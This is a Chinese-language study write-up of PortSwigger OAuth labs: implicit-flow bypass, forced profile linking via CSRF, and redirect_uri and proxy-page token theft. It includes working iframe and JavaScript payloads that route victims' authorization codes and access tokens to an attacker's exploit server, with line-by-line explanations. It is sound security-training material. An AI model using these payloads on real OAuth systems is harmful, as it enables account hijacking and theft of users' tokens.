理论知识
https://portswigger.net/web-security/oauth
Lab: Authentication bypass via OAuth implicit flow——实验:通过 OAuth 隐式流绕过身份验证
https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow
原理:
1.客户端对用户信息的验证不充分
- 客户端从 OAuth 提供商接收到用户的基本信息和访问令牌后,仅凭这些信息直接信任并完成用户的登录。
- 客户端未验证接收到的信息是否与用户实际的授权会话相关,导致攻击者可以伪造这些信息。
2. 缺乏绑定机制
- OAuth 服务没有将用户的身份绑定到访问令牌或授权会话中。
- 攻击者可以通过篡改数据(如电子邮件地址)冒充其他用户。
3. 访问令牌未有效限制
- 客户端未正确验证访问令牌的使用范围或有效性。
- 即使访问令牌可能属于攻击者本人,篡改后的请求依然能够绕过验证。
实验记录:
进入靶场,点击登录界面,输入wiener/peter,点击continue
我们登录的用户为wiener
经过翻找,/authenticate确认这个数据包为验证用户信息的功能
此处可以点击follow redirection,也可以request in browser(用这种方式演示)
copy链接后在浏览器中跳转,登录carlos成功
总结:
非常简单的一个修改登录参数即可绕过登录验证的一种情况
Lab: Forced OAuth profile linking——实验:强制 OAuth 配置文件链接
https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking
原理:
此漏洞的核心在于 OAuth 流程中的 CSRF 攻击。在 OAuth 流程中,客户端未使用 state
参数来验证请求的来源是否合法,导致攻击者可以通过 CSRF 攻击伪造请求,将其社交媒体配置文件链接到管理员账户。当管理员访问攻击者构造的恶意 iframe 时,其浏览器会自动向受害者的会话中发起 GET 请求,使用 OAuth 授权码完成流程。由于管理员的会话是活跃的,OAuth 授权操作就会将攻击者的社交媒体账户绑定到管理员账户上,从而让攻击者可以通过“使用社交媒体登录”功能以管理员身份登录。
实验记录:
登录后存在绑定社交媒体账号的功能,点击该功能
登陆后continue
显示成功绑定该社交媒体,我们进入bp观察数据包
此处为我们绑定社交媒体的第一步,会生成一个特定的code链接返回
访问这个code链接后,社交媒体账号会被绑定到此用户
经过观察,每次绑定,生成的code都是随机的,所以,我们对请求进行拦截,并且抓包
抓到此数据包,一定要drop这个数据包,因为放过这个数据包,这个code就绑定了
<iframe src="https://0a57005703ab54998099a35900b900ec.web-security-academy.net/oauth-linking?code=WH7kMP3YQ7JrnwEqoCwubXg0MrPygEr_-scgwSfxRUU"></iframe>
构造这个payload,进入deliver
先不要发送请求,进入刚刚被drop的界面,点击返回界面
进入My Account界面,退出登录
再次回到deliver界面,向管理员发送已经构造好的payload
进入主页,选择社交媒体登录,可以看到成功登录社交媒体账号
进入Admin panel,删除carlos用户
总结:
说人话就是普通的用户登录存在一个绑定社交媒体的OAuth功能,而我们可以构造恶意请求,让对方(也就是管理员)绑定到我们的用户,绑定成功后,再次通过社交媒体登录时,登录的就是绑定了管理员的账号,也就获得了管理员的权限
Lab: OAuth account hijacking via redirect_uri
——实验:通过 redirect_uri 劫持 OAuth 帐户
https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
原理:
redirect_uri
是 OAuth 授权流程中的一个关键参数,通常指定返回授权码的地址。安全性依赖于 OAuth 提供者验证 redirect_uri
是否与注册的地址匹配。此实验中的漏洞主要由于:
- 缺乏严格的验证:OAuth 提供者没有验证
redirect_uri
是否与客户端注册的地址一致。 - 开放重定向:攻击者可以指定任意
redirect_uri
,导致授权码被重定向到攻击者控制的地址。
实验记录:
进入靶场页面,会进行一个登录跳转,抓包
格式为/auth?client_id=l305g2jk5kc66hoxqj5sd&redirect_uri=https://0a5b00280376de4f80943f4500880034.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email
针对redirect_uri
参数,将跳转转到exploit服务器上
构造如下paylaod
<iframe src="https://oauth-0a0700d903fdde7d80463d5302e400b7.oauth-server.net/auth?client_id=l305g2jk5kc66hoxqj5sd&redirect_uri=https://exploit-0aff00a8038fde5680e03e61017200f4.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email"></iframe>
deliver到受害者
查看exploit日志,发现?code=vL71czkhqERNShejI-XGVOLw0eZ8roWdll0chm0iXtQ,获取到了管理员的授权码
进行一个url拼接
https://0a5b00280376de4f80943f4500880034.web-security-academy.net/oauth-callback?code=vL71czkhqERNShejI-XGVOLw0eZ8roWdll0chm0iXtQ
总结:
因为url跳转的不严格,可以让其跳转至恶意服务器,获取到对方的授权码,从而拿到对方的权限
Lab: Stealing OAuth access tokens via an open redirect
——实验:通过开放重定向窃取 OAuth 访问令牌
原理:
实验中的 OAuth 服务仅对 redirect_uri
做了部分匹配验证:
- 它允许在默认
redirect_uri
的基础上附加路径,如../
,从而实现目录遍历并将用户重定向到任意页面。
实验记录:
经过页面跳转,登录,查看文章,点击下一页等操作,我们获取到如下数据包
此处为跳转登录的数据包,我们需要针对redirect_uri参数进行一个调试,将此处链接地址跳转到恶意的服务器上,此处存在目录穿越
这个报文就是文章跳转的一个数据包,因为无法直接修改上面的数据包造成url跳转,服务器可能对redirect_uri参数进行了域名验证,但是结合上面的目录穿越,以及系统中的查看下一页功能存在url跳转,我们可以对其进行综合利用
这个数据包很明显就是获取到apikey的数据包了,看到报文中存在authorization,后面的就是需要获取到的token
测试表明https://0a7f005404a214968497efa6000d006b.web-security-academy.net/post/next?path=https://google.com
可以跳转到谷歌
拿到恶意服务器的网址,构造如下payload获取token
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0a9a0073046014238441edca02970049.oauth-server.net/auth?client_id=mvhsjio9mh6fkhhei496f&redirect_uri=https://0a7f005404a214968497efa6000d006b.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a97001704a414a38431ee17017c003f.exploit-server.net/exploit&response_type=token&nonce=-216337877&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
代码的全部分析
代码含义
1. 检查 URL 是否包含哈希部分
javascript复制代码if (!document.location.hash) {
- 功能: 检查当前页面 URL 是否包含哈希片段 (
#
开头的部分,例如#access_token=...
)。 - 背景: 在 OAuth 隐式授权流程中,访问令牌通常以哈希片段的形式返回给客户端。
- 逻辑:
- 如果没有哈希部分(
document.location.hash
为空),说明 OAuth 流程尚未完成。 - 此时,脚本会启动 OAuth 授权流程。
- 如果没有哈希部分(
2. 重定向到 OAuth 授权服务器
javascript复制代码window.location = 'https://oauth-0a9a0073046014238441edca02970049.oauth-server.net/auth?client_id=mvhsjio9mh6fkhhei496f&redirect_uri=https://0a7f005404a214968497efa6000d006b.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a97001704a414a38431ee17017c003f.exploit-server.net/exploit&response_type=token&nonce=-216337877&scope=openid%20profile%20email'
- 功能: 将用户重定向到 OAuth 授权服务器以请求访问令牌。
- 关键参数:
client_id=mvhsjio9mh6fkhhei496f
:- 客户端 ID,标识请求来源。
redirect_uri=https://0a7f005404a214968497efa6000d006b.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a97001704a414a38431ee17017c003f.exploit-server.net/exploit
:- OAuth 完成授权后的重定向地址。
- 利用了开放重定向漏洞,
../
绕过路径验证,最终将用户引导到攻击者控制的地址。
response_type=token
:- 请求令牌返回方式为哈希片段。
nonce=-216337877
:- 防止重放攻击的随机值。
scope=openid profile email
:- 请求的权限范围,包括用户的 OpenID、基本信息和电子邮件地址。
- 目的: 引导用户完成授权,并将令牌通过
redirect_uri
引导到攻击者控制的服务器。
3. 提取哈希片段并泄露
javascript复制代码} else {
window.location = '/?'+document.location.hash.substr(1)
}
- 功能: 如果 URL 包含哈希片段,提取其内容并泄露给攻击者。
- 步骤:
document.location.hash
: 获取哈希片段,例如#access_token=xyz&token_type=Bearer&expires_in=3600
。document.location.hash.substr(1)
: 去掉哈希片段的#
,结果为access_token=xyz&token_type=Bearer&expires_in=3600
。- 将哈希内容作为查询参数附加到当前页面路径:
- URL 变为
https://0a7f005404a214968497efa6000d006b.web-security-academy.net/?access_token=xyz&token_type=Bearer&expires_in=3600
。
- URL 变为
- 如果攻击者控制此页面,则可以通过日志或其他方式记录访问令牌。
获取受害者令牌的方式
将令牌附加到攻击者服务器的 URL(通过 /path/to/attacker?access_token=...
)泄露。
诱导受害者授权:
通过伪造的 OAuth 授权请求,诱使受害者授权应用程序访问其资源。
在受害者完成授权后,OAuth 授权服务器会返回令牌。
利用开放重定向漏洞:
授权服务器会根据 redirect_uri
参数进行重定向。
如果 redirect_uri
验证存在问题(例如未严格限制域名),攻击者可以通过路径遍历 (../
) 引导用户跳转到攻击者控制的服务器。
提取并转发令牌:
JavaScript 提取 OAuth 返回的访问令牌(URL 哈希片段)。
简单理解,此代码的利用点有,redirect_uri存在../目录穿越,导致可以构造成../post/next?path=,path参数可以填写任意url,导致url跳跃到exploit网址,受害者访问此页面,导致token被窃取
发送至受害者,access log存在token
修改authorization后的token值,拿到administrator的apikey
总结:
多漏洞的巧妙利用,当参数验证后可以尝试目录穿越,在测试系统中找到可以替代url跳转的功能
Lab: Stealing OAuth access tokens via a proxy page
——实验:通过代理页面窃取 OAuth 访问令牌
https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page
原理:
redirect_uri
参数验证缺陷
OAuth 流程中的 redirect_uri
是用来指示认证服务在完成授权后,重定向到客户端应用程序的地址。
- 安全设计期望:
redirect_uri
应该被严格限制为客户端应用程序的可信地址范围。例如,OAuth 服务应验证redirect_uri
是否完全匹配事先注册的安全地址。 - 漏洞表现:
该实验的redirect_uri
参数允许目录遍历攻击(../
),攻击者可以通过构造特殊的路径,将认证重定向到任意页面,例如/post/comment/comment-form
。 - 后果:
攻击者可以控制redirect_uri
,将 OAuth 访问令牌泄露到其指定的页面或脚本中。
2. 跨域消息传递(postMessage
)滥用
客户端应用程序的 /post/comment/comment-form
页面使用了 postMessage
方法,与父窗口进行通信,但存在以下设计缺陷:
- 消息来源验证不足:
postMessage
方法的目标是允许子窗口和父窗口安全通信,但此实验中的代码允许接收来自任意来源(*
)的消息。 - 发送敏感信息:
postMessage
方法将页面的 URL (window.location.href
) 传递给父窗口,URL 中包含 OAuth 访问令牌。 - 后果:
攻击者通过嵌入目标页面(例如/post/comment/comment-form
)为 iframe,并利用postMessage
捕获该页面发送的 URL,从而获取访问令牌。
实验记录:
一样抓包,跳转,登录,拿到如下数据包
这次是利用评论功能获取token
<script>
parent.postMessage({type: 'onload', data: window.location.href}, '*')
function submitForm(form, ev) {
ev.preventDefault();
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
parent.postMessage({type: 'oncomment', content: o}, '*');
form.reset();
}
</script>
代码详解
这段代码涉及通过 postMessage
方法向父窗口发送消息,并处理表单提交的逻辑。下面逐步解析其功能和含义:
1. parent.postMessage
用法
代码中的两处 parent.postMessage
分别发送了不同类型的消息:
parent.postMessage({type: 'onload', data: window.location.href}, '*')
- 触发时机:这段代码在页面加载时立即执行。
- 作用:
- 向父窗口发送消息,内容为当前页面的 URL (
window.location.href
)。 - 消息的格式是一个对象,包含两个字段:
type: 'onload'
:表示消息的类型。data: window.location.href
:表示发送的数据(当前页面的完整 URL)。
' * '
:表示消息可以发送到任何域名的父窗口(无域限制)。
- 向父窗口发送消息,内容为当前页面的 URL (
2. submitForm
函数
该函数处理表单提交事件:
function submitForm(form, ev) {
ev.preventDefault(); // 阻止表单的默认提交行为。
- 触发时机:当用户试图提交表单时。
- 作用:
- 阻止浏览器的默认提交行为,避免页面刷新。
- 自定义表单数据的处理和传输。
3. 提取表单数据
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
- 解释:
FormData
:提取表单数据。new FormData(document.getElementById("comment-form"))
从表单中获取用户填写的所有字段和值。
URLSearchParams
:解析 URL 的哈希部分(#
后的内容)。window.location.hash.substr(1)
去掉哈希符号(#
)。new URLSearchParams()
用于提取键值对。
- 将提取的数据存储到对象
o
中:formData
中的每个键值对添加到对象o
。hashParams
中的每个键值对也添加到对象o
,可能覆盖formData
中的某些字段。
4. 发送消息给父窗口
parent.postMessage({type: 'oncomment', content: o}, '*');
- 作用:
- 向父窗口发送一个新消息,类型为
oncomment
。 - 消息内容为对象
o
,包含表单数据和 URL 哈希中的键值对。
- 向父窗口发送一个新消息,类型为
5. 重置表单
form.reset();
- 提交后清空表单的输入字段。
总体功能
- 页面加载时:
- 向父窗口发送当前页面 URL,通知父窗口页面已加载。
- 消息格式为:
{type: 'onload', data: 当前页面 URL}
。
- 表单提交时:
- 阻止默认提交行为。
- 提取表单中的所有字段和值。
- 提取 URL 哈希部分的键值对。
- 将以上数据组合成一个对象。
- 通过
postMessage
向父窗口发送消息,内容为提交的数据。
简单说就是会向父页面发送url
构造如下payload
<iframe src="https://oauth-0a83000e03f0592d83358c8b0201006a.oauth-server.net/auth?client_id=dx0e8yp0lojkd8y54mcy8&redirect_uri=https://0a5500db03f3592083f98e73007c0050.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
代码详解
这段代码的作用是利用 OAuth 流程中的 redirect_uri
漏洞和目标网页的跨域消息通信机制,从目标网页中窃取 OAuth 访问令牌并将其发送到攻击者控制的服务器日志中。
以下是代码的详细解释:
1. <iframe>
元素
<iframe src="https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=dx0e8yp0lojkd8y54mcy8&redirect_uri=https://0a5500db03f3592083f98e73007c0050.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
- 功能:
嵌套一个 iframe,加载构造的 OAuth 授权 URL。 - 关键点:
redirect_uri
漏洞:redirect_uri
参数被设置为/oauth-callback/../post/comment/comment-form
,利用目录遍历(../
)绕过验证,指向目标的评论表单页面/post/comment/comment-form
。- 当 OAuth 流程完成后,用户的访问令牌会作为 URL 的片段参数(
#access_token=...
)附加到这个页面的地址中。
response_type=token
:- 指定 OAuth 响应类型为令牌(Implicit Flow),会直接在重定向的 URL 中返回访问令牌。
2. <script>
脚本
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
- 功能:
监听postMessage
消息,并通过fetch
方法将窃取的数据发送到攻击者的服务器。
具体分析:
window.addEventListener('message', ...)
:- 监听
message
事件,用于处理目标网页通过postMessage
发送的消息。 - 当
/post/comment/comment-form
页面加载后,它会使用postMessage
将其当前 URL(包含访问令牌)发送给父窗口。
- 监听
e.data.data
:e
是事件对象,包含消息的相关数据。e.data.data
是目标网页通过postMessage
发送的内容,通常是window.location.href
,即完整的页面 URL。
fetch("/" + encodeURIComponent(e.data.data))
:- 将获取到的 URL(包括访问令牌)通过
fetch
方法发送到攻击者服务器。 - 具体表现为向攻击者服务器的根路径(
/
)发送一个请求,带有 URL 编码的令牌作为路径参数。例如:GET /https%3A%2F%2Ftarget-url%3Faccess_token%3Dxyz...
- 将获取到的 URL(包括访问令牌)通过
3. 攻击流程
- 嵌套 iframe: 攻击者利用 iframe 加载构造的 OAuth URL,完成授权流程并重定向到目标页面
/post/comment/comment-form
。 - 跨域窃取令牌:
/post/comment/comment-form
页面会通过postMessage
将 URL(包含令牌)发送到父窗口。- 攻击者的脚本监听这些消息,并通过
fetch
将 URL(包含令牌)发送到攻击者控制的服务器。
- 利用访问令牌: 攻击者获得令牌后,可以模拟管理员用户,访问受保护的资源或 API。
简单说就是,这个页面,对方打开会渲染,渲染的同时对方的token也被获取到,通过js可以将token发送给指定的网址,也就是accesslog记录的内容
在日志发现accesstoken
拿到apikey
总结:
后面三个漏洞,只是利用方式的不同罢了,第一个是uri参数直接没有限制,会直接跳转到指定url,第二个是uri限制域名,但是../可以进行绕过,并且文章翻页功能存在url跳转可以一起利用,第三个就是评论由iframe构成,可以让受害者加载并窃取token。